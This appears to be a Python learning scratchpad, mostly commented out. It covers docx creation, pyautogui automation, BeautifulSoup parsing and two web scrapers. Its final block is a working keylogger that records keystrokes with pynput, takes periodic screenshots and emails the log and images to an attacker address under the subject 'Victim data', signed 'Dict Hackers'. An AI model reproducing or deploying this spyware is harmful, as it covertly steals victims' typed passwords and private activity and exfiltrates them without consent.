nesciunt repudiandae. Accusamus porro non aut dolor dolores." # ) # paragraph = doc.add_paragraph("Lorem ipsum ") # imp = paragraph.add_run("dolor sit amet.") # imp.bold = True # doc.save("test.docx") import pyautogui from pywinauto import Application from time import sleep # app = Application(backend="uia").start("mspaint.exe") # sleep(3) # distance = 200 # while distance > 0: # pyautogui.dragRel(distance, 0, duration=0.5) # distance = distance - 5 # pyautogui.dragRel(0, distance, duration=0.5) # pyautogui.dragRel(-distance, 0, duration=0.5) # distance = distance - 5 # pyautogui.dragRel(0, -distance, duration=0.5) # pyautogui.screenshot("shot.png")
Scratchpad #15
# # # # from bs4 import BeautifulSoup # # # # data = """ # # # # <html> # # # # <head> # # # # <title>My Application</title> # # # # </head> # # # # <body> # # # # <h1>Hello World</h1> # # # # <h2>Hello World</h2> # # # # <hr /> # # # # <img src="./shot.png" width="300px" alt="Some image" /> # # # # <p class="hello world"> # # # # <b>Lorem ipsum dolor</b> sit amet consectetur adipisicing elit. Eveniet # # # # assumenda corporis, magni ratione natus doloremque iusto architecto # # # # <i>voluptatibus eaque</i> nostrum ipsam, et exercitationem quidem # # # # blanditiis repellendus eum quaerat vitae eius? # # # # </p> # # # # <a href="https://google.com">Go to Google</a> # # # # <h2>Hello again</h2> # # # # <ul class="my-list"> # # # # <li> # # # # 1. Lorem ipsum dolor sit, amet consectetur adipisicing elit. Iure, et! # # # # </li> # # # # <li class="hello"> # # # # 2. Lorem ipsum dolor sit, amet consectetur adipisicing elit. Iure, et! # # # # </li> # # # # <li class="world new-item"> # # # # 3. Lorem ipsum dolor sit, amet consectetur adipisicing elit. Iure, et! # # # # </li> # # # # <li> # # # # 4. Lorem ipsum dolor sit, amet consectetur adipisicing elit. Iure, et! # # # # </li> # # # # </ul> # # # # <p id="special"> # # # # Lorem ipsum dolor sit amet consectetur adipisicing elit. Nam odio # # # # asperiores aut deserunt laboriosam non voluptatem inventore et odit, # # # # consequuntur maiores dolorum nobis nulla. Velit sed odit ut, quaerat # # # # praesentium quos a eos facere est possimus quisquam autem earum corrupti # # # # dolores ex reprehenderit rerum? Laboriosam culpa modi dignissimos # # # # perspiciatis minus minima. Quisquam assumenda sapiente alias numquam # # # # saepe, consequatur, asperiores iusto error accusamus laudantium # # # # reprehenderit voluptatum adipisci possimus. Totam laudantium commodi rerum # # # # ullam repellendus porro numquam nesciunt asperiores ea, aperiam # # # # voluptatibus possimus. Quasi dolore pariatur, minus doloribus aliquid nemo # # # # error. Eveniet officia, quod dolores expedita sint ullam delectus ducimus # # # # voluptatem exercitationem? # # # # </p> # # # # </body> # # # # </html> # # # # """ # # # # soup = BeautifulSoup(data, "html.parser") # # # # # print(soup.body) # # # # # print(soup.body.h1) # # # # # print(soup.find("h1")) # # # # # print(soup.find("h2")) # # # # # print(soup.find("li")) # # # # # print(soup.find_all("li")) # # # # # print(type(soup.find("li"))) # # # # # print(soup.find(id="special")) # # # # # print(soup.find_all(class_="hello")) # # # # # li = soup.find(class_="new-item") # # # # # print(li.find_next_sibling()) # # # # # print(li.find_previous_sibling().find_previous_sibling()) # # # # # print(li.find_parent().find_parent()) # # # # # print(soup.find("img")["src"]) # # # # # print(soup.find("a")["href"]) # # # # # print(soup.find(id="special").get_text()) # # # import requests # # # from bs4 import BeautifulSoup # # # from csv import writer # # # response = requests.get("https://arstechnica.com/") # # # soup = BeautifulSoup(response.text, "html.parser") # # # articles = soup.find_all(class_="article") # # # with open("articles.csv", "w", newline="") as file: # # # csv_writer = writer(file) # # # csv_writer.writerow(["Title", "Excerpt", "Author", "Date", "URL"]) # # # for article in articles: # # # title = article.find("h2").get_text() # # # excerpt = article.find(class_="excerpt").get_text() # # # author = article.find("span").get_text() # # # date = article.find("time").get_text() # # # url = article.find("a")["href"] # # # csv_writer.writerow([title, excerpt, author, date, url]) # # import requests # # from bs4 import BeautifulSoup # # from csv import DictWriter # # all_quotes = [] # # base_url = "http://quotes.toscrape.com" # # url = "/page/1/" # # while url: # # response = requests.get(f"{base_url}{url}") # # print(f"Now scraping {base_url}{url}") # # soup = BeautifulSoup(response.text, "html.parser") # # quotes = soup.find_all(class_="quote") # # for quote in quotes: # # content = quote.find(class_="text").get_text() # # author = quote.find(class_="author").get_text() # # all_quotes.append({"content": content, "author": author}) # # next_btn = soup.find(class_="next") # # if next_btn: # # url = next_btn.find("a")["href"] # # else: # # url = None # # with open("quotes.csv", "w", newline="") as file: # # header = ["content", "author"] # # csv_writer = DictWriter(file, fieldnames=header) # # csv_writer.writeheader() # # for quote in all_quotes: # # csv_writer.writerow(quote) # from pynput.keyboard import Key, Listener # import pyautogui # import yagmail # from datetime import datetime # from time import sleep # count = 0 # keys = [] # try: # def on_press(key): # global count, keys # keys.append(key) # count += 1 # if count >= 10: # write_file(keys) # keys = [] # def write_file(keys): # with open("log.txt", "a") as file: # for key in keys: # k = str(key).replace("'", "") # if k.find("space") > 0: # file.write(str(" ")) # elif k.find("cap_lock") > 0: # file.write(str("<CAPS_LOCK>")) # elif k.find("enter") > 0: # file.write(str("\n")) # elif k.find("Key") == -1: # file.write(k) # def take_screenshot(): # screen = pyautogui.screenshot() # screen.save("screen.png") # def send_mail(): # receiver_email = "EMAIL" # subject = f"Victim data: {datetime.now().strftime('%d-%m-%Y %H:%M:%S')}" # yag = yagmail.SMTP("EMAIL", "PASSWORD") # contents = [ # "<b><font color='red' size='10'>Your victim data - Dict Hackers</b>", # "./screen.png", # "./log.txt", # ] # yag.send(receiver_email, subject, contents) # def on_release(key): # if key == Key.esc: # return False # with Listener(on_press=on_press, on_release=on_release) as listener: # while True: # sleep(10) # take_screenshot() # send_mail() # listener.join() # except KeyboardInterrupt: # print("Program closed")